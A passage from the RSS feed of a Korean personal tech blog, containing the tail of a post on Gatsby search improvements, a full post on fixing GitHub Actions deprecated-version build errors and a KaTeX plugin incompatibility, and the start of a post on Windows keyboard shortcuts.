&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;posts&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;기타 UX 개선&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;초기화 버튼 (X)&lt;/strong&gt;: 검색어를 한 번에 지우고 다시 입력할 수 있는 버튼&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;검색 결과 카운트&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;&quot;검색어&quot; 검색 결과 N건 (AND/OR 모드 표시)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;빈 결과 안내&lt;/strong&gt;: 결과가 없을 때 &quot;다른 키워드로 검색해 보세요&quot; 안내&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동 포커스&lt;/strong&gt;: 검색 페이지 진입 시 검색창에 자동 포커스&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;전후 비교&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;검색 대상&lt;/td&gt;
&lt;td&gt;제목 + 본문&lt;/td&gt;
&lt;td&gt;제목 + 태그 + 본문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;정렬&lt;/td&gt;
&lt;td&gt;날짜순&lt;/td&gt;
&lt;td&gt;관련도순&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;복합 검색&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;AND(공백) / OR(쉼표)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;하이라이팅&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;키워드 강조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;매칭 정보&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;위치 배지 + 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;검색 전 화면&lt;/td&gt;
&lt;td&gt;전체 글 목록&lt;/td&gt;
&lt;td&gt;인기 태그 + 최근 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;입력 최적화&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;디바운스 200ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;외부 검색 서비스(Algolia 등)와 비교하면 어떤가요?&lt;/h3&gt;
&lt;p&gt;Algolia는 오타 교정(fuzzy matching), 검색어 자동완성, 분석 대시보드 등 강력한 기능을 제공합니다. 하지만 무료 플랜에 제한이 있고, 별도의 인덱싱 설정이 필요합니다. 글이 100개 이하인 개인 블로그라면 클라이언트 사이드 검색으로 충분합니다.&lt;/p&gt;
&lt;h3&gt;글이 많아지면 성능 문제가 생기지 않나요?&lt;/h3&gt;
&lt;p&gt;현재 방식은 모든 글의 rawMarkdownBody를 클라이언트에 로드합니다. 글이 수백 개 이상이 되면 초기 로딩 시간이 길어질 수 있습니다. 그때는 검색 인덱스를 별도로 생성하거나 외부 서비스를 도입하는 것이 좋습니다.&lt;/p&gt;
&lt;h3&gt;AND와 OR를 동시에 사용할 수 있나요?&lt;/h3&gt;
&lt;p&gt;현재는 쉼표가 있으면 OR, 공백만 있으면 AND로 단일 모드만 지원합니다. &lt;code class=&quot;language-text&quot;&gt;(A AND B) OR C&lt;/code&gt; 같은 복합 조건은 지원하지 않습니다. 개인 블로그 검색에서는 이 정도면 충분하다고 판단했습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;다음 포스팅에서는 &lt;strong&gt;GitHub Pages에서 Netlify로 전환한 이유와 과정&lt;/strong&gt;을 공유합니다. 소스 코드 비공개, 커스텀 도메인 설정까지 다룹니다.&lt;/p&gt;
&lt;p&gt;검색 기능 관련해서 추가로 개선하면 좋을 아이디어가 있다면 댓글로 알려주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GitHub Actions deprecated 에러 해결 — Gatsby 빌드 실패 대처법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 잘 돌아가던 블로그 빌드가 갑자기 실패했습니다. 코드는 하나도 안 건드렸는데요. GitHub Actions에서 deprecated…]]></description><link>https://blog.javapark.kr/07-fix-actions-deprecated/</link><guid isPermaLink="false">https://blog.javapark.kr/07-fix-actions-deprecated/</guid><pubDate>Sun, 05 Apr 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;잘 돌아가던 블로그 빌드가 갑자기 실패했습니다. 코드는 하나도 안 건드렸는데요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;GitHub Actions에서 deprecated 버전 에러가 발생하면서 빌드가 멈추는 경험을 하셨다면, 이 포스팅이 도움이 될 겁니다. 저도 같은 상황을 겪고 해결한 과정을 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;문제 상황: 갑자기 빌드가 안 된다&lt;/h2&gt;
&lt;p&gt;GitHub Actions 빌드 로그에 이런 에러가 나타났습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Error: This request has been automatically failed because it uses a deprecated
version of `actions/upload-artifact: v3`.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;코드를 전혀 수정하지 않았는데, GitHub 측에서 &lt;strong&gt;Actions v3 지원을 중단&lt;/strong&gt;하면서 기존 워크플로우가 동작하지 않게 된 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;원인: GitHub Actions v3 지원 종료&lt;/h2&gt;
&lt;p&gt;GitHub는 2024년부터 단계적으로 Actions v3를 deprecated 처리했고, 결국 v3 기반 워크플로우는 자동으로 실패하게 되었습니다. 영향을 받는 주요 액션은 다음과 같습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;deprecated 버전&lt;/th&gt;
&lt;th&gt;최신 버전&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;actions/checkout&lt;/td&gt;
&lt;td&gt;v3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;v4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;actions/setup-node&lt;/td&gt;
&lt;td&gt;v3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;v4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;actions/configure-pages&lt;/td&gt;
&lt;td&gt;v3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;v5&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;actions/cache&lt;/td&gt;
&lt;td&gt;v3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;v4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;actions/upload-pages-artifact&lt;/td&gt;
&lt;td&gt;v2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;v3&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;actions/deploy-pages&lt;/td&gt;
&lt;td&gt;v2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;v4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;해결 1: Actions 버전 업데이트&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.github/workflows/gatsby.yml&lt;/code&gt; 파일에서 모든 액션 버전을 최신으로 변경합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Before (deprecated)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v3
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v3
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/configure&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v3
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/cache@v3
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/upload&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;artifact@v2
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/deploy&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v2

&lt;span class=&quot;token comment&quot;&gt;# After (최신)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v4
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/configure&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v5
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/cache@v4
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/upload&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;artifact@v3
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/deploy&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이것만으로 deprecated 에러는 해결됩니다. 하지만 저는 여기서 끝나지 않았습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;해결 2: remark-math 호환성 에러&lt;/h2&gt;
&lt;p&gt;Actions 버전을 올리고 다시 빌드했더니, 이번에는 다른 에러가 나타났습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;TypeError: Cannot set properties of undefined (setting &apos;math&apos;)
  - block.js:203 Function.blockPlugin
    [javapark.github.io]/[remark-math]/block.js:203:24&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;원인을 추적해보니, &lt;code class=&quot;language-text&quot;&gt;gatsby-remark-katex@3.10.0&lt;/code&gt;이 의존하는 &lt;code class=&quot;language-text&quot;&gt;remark-math@1.0.6&lt;/code&gt;이 &lt;code class=&quot;language-text&quot;&gt;gatsby-transformer-remark@6&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;unified@9&lt;/code&gt;와 &lt;strong&gt;호환되지 않는&lt;/strong&gt; 것이었습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;패키지&lt;/th&gt;
&lt;th&gt;버전&lt;/th&gt;
&lt;th&gt;문제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;gatsby-transformer-remark&lt;/td&gt;
&lt;td&gt;6.16.0&lt;/td&gt;
&lt;td&gt;unified@9 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gatsby-remark-katex&lt;/td&gt;
&lt;td&gt;3.10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;mailto:remark-math@1.x&quot;&gt;remark-math@1.x&lt;/a&gt; 의존&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;remark-math&lt;/td&gt;
&lt;td&gt;1.0.6&lt;/td&gt;
&lt;td&gt;unified@9와 비호환&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;KaTeX 수식 기능을 사용하지 않고 있었기 때문에, 과감히 제거하기로 했습니다.&lt;/p&gt;
&lt;h3&gt;제거 순서&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. gatsby-config.js에서 플러그인 제거&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 아래 블록 삭제&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;gatsby-remark-katex&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;strict&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;ignore&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;2. package.json에서 패키지 제거&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 아래 두 줄 삭제&lt;/span&gt;
&lt;span class=&quot;token property&quot;&gt;&quot;gatsby-remark-katex&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;^3.5.0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token property&quot;&gt;&quot;katex&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;^0.12.0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;3. gatsby-browser.js에서 CSS import 제거&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 아래 줄 삭제&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;katex/dist/katex.min.css&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 세 번째 단계를 놓치면 빌드 시 &lt;code class=&quot;language-text&quot;&gt;Can&apos;t resolve &apos;katex/dist/katex.min.css&apos;&lt;/code&gt; 에러가 발생합니다. 패키지를 제거할 때는 &lt;strong&gt;설정 파일, 의존성, import 경로&lt;/strong&gt;를 모두 확인해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리: 체크리스트&lt;/h2&gt;
&lt;p&gt;Gatsby 블로그에서 GitHub Actions 빌드가 실패했다면 아래 순서로 확인하세요.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;워크플로우 파일의 Actions 버전&lt;/strong&gt;이 deprecated되지 않았는지 확인&lt;/li&gt;
&lt;li&gt;버전 업데이트 후에도 빌드가 실패하면, &lt;strong&gt;플러그인 호환성 문제&lt;/strong&gt;를 의심&lt;/li&gt;
&lt;li&gt;사용하지 않는 플러그인은 &lt;strong&gt;설정 + 패키지 + import&lt;/strong&gt; 3곳 모두 정리&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby clean&lt;/code&gt;으로 캐시를 지우고 다시 빌드&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;GitHub Actions v3는 언제부터 deprecated인가요?&lt;/h3&gt;
&lt;p&gt;2024년 4월에 deprecation이 공지되었고, 이후 단계적으로 강제 실패 처리되었습니다. 자세한 내용은 &lt;a href=&quot;https://github.blog/changelog/2024-04-16-deprecation-notice-v3-of-the-artifact-actions/&quot;&gt;GitHub 공식 변경 로그&lt;/a&gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;사용 중인 플러그인이 호환되지 않으면 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;해당 플러그인이 필수라면 호환되는 버전 조합을 찾아야 합니다. 선택적이라면 제거하는 것이 가장 깔끔합니다. &lt;code class=&quot;language-text&quot;&gt;gatsby-transformer-remark&lt;/code&gt;의 메이저 버전을 내리는 것은 다른 플러그인에 영향을 줄 수 있어 추천하지 않습니다.&lt;/p&gt;
&lt;h3&gt;gatsby clean은 언제 실행해야 하나요?&lt;/h3&gt;
&lt;p&gt;플러그인을 추가/제거했거나, 빌드 에러가 이해되지 않을 때 &lt;code class=&quot;language-text&quot;&gt;npx gatsby clean&lt;/code&gt;을 실행하면 캐시 관련 문제를 해결할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;다음 포스팅에서는 Gatsby 블로그의 &lt;strong&gt;검색 기능을 대폭 개선한 경험&lt;/strong&gt;을 공유합니다. 태그 검색, AND/OR 검색, 관련도 정렬까지 외부 서비스 없이 구현하는 방법을 다룹니다.&lt;/p&gt;
&lt;p&gt;여러분도 Actions 빌드 에러를 겪으셨나요? 어떻게 해결하셨는지 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[윈도우 단축키 완전 정복 — 매일 쓰는 핵심 단축키만 모았습니다]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 마우스 없이도 컴퓨터를 자유자재로 다룰 수 있다면 어떨까요? 솔직히 말하면, 윈도우 단축키는 수백 개가 넘습니다. 하지만 실제로 매일 쓰는 건 20~3…]]></description><link>https://blog.javapark.kr/windows-keyboard-shortcuts/</link><guid isPermaLink="false">https://blog.javapark.kr/windows-keyboard-shortcuts/</guid><pubDate>Sat, 04 Apr 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;마우스 없이도 컴퓨터를 자유자재로 다룰 수 있다면 어떨까요?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 말하면, 윈도우 단축키는 수백 개가 넘습니다. 하지만 &lt;strong&gt;실제로 매일 쓰는 건 20~30개 정도&lt;/strong&gt;면 충분합니다. 오늘은 &quot;진짜 쓰는 것만&quot; 카테고리별로 정리해봤습니다. 결론부터 말씀드리면 — 이 글에 나온 단축키만 1주일 연습하면, 작업 속도가 눈에 띄게 빨라집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;윈도우 기본 단축키 — 이것만은 반드시&lt;/h2&gt;
&lt;p&gt;가장 기본이면서도 가장 자주 쓰는 단축키입니다. 이미 아시는 것도 있겠지만, 한 번 더 정리해두면 좋습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;활용 팁&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;복사&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + X&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;잘라내기&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + V&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;붙여넣기&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;실행 취소&lt;/td&gt;
&lt;td&gt;실수했을 때 생명줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;다시 실행&lt;/td&gt;
&lt;td&gt;취소한 걸 되돌릴 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;전체 선택&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + S&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;저장&lt;/td&gt;
&lt;td&gt;수시로 누르는 습관 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;찾기&lt;/td&gt;
&lt;td&gt;문서, 브라우저, 탐색기 모두 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + P&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;인쇄&lt;/td&gt;
&lt;td&gt;PDF 저장에도 활용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;F2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;이름 바꾸기&lt;/td&gt;
&lt;td&gt;파일/폴더 선택 후 바로 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Delete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;삭제&lt;/td&gt;
&lt;td&gt;휴지통으로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Shift + Delete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;영구 삭제&lt;/td&gt;
&lt;td&gt;휴지통 거치지 않음 (주의!)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;윈도우 키 조합 단축키 — 생산성의 핵심&lt;/h2&gt;
&lt;p&gt;윈도우 키(⊞)를 활용한 단축키는 시스템 수준의 기능을 빠르게 실행할 수 있어서, 알아두면 가장 체감이 큽니다.&lt;/p&gt;
&lt;h3&gt;시스템 &amp;#x26; 앱 실행&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;한 줄 설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;파일 탐색기 열기&lt;/td&gt;
&lt;td&gt;가장 자주 쓰는 단축키 중 하나&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + I&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;설정 열기&lt;/td&gt;
&lt;td&gt;제어판 찾을 필요 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;화면 잠금&lt;/td&gt;
&lt;td&gt;자리 비울 때 보안 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + R&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;실행 창 열기&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;cmd&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;calc&lt;/code&gt; 등 빠른 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + S&lt;/code&gt; (또는 &lt;code class=&quot;language-text&quot;&gt;Win + Q&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;검색&lt;/td&gt;
&lt;td&gt;앱, 파일, 설정 통합 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + X&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;빠른 링크 메뉴&lt;/td&gt;
&lt;td&gt;장치 관리자, 터미널 등 고급 메뉴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + .&lt;/code&gt; (마침표)&lt;/td&gt;
&lt;td&gt;이모지 패널&lt;/td&gt;
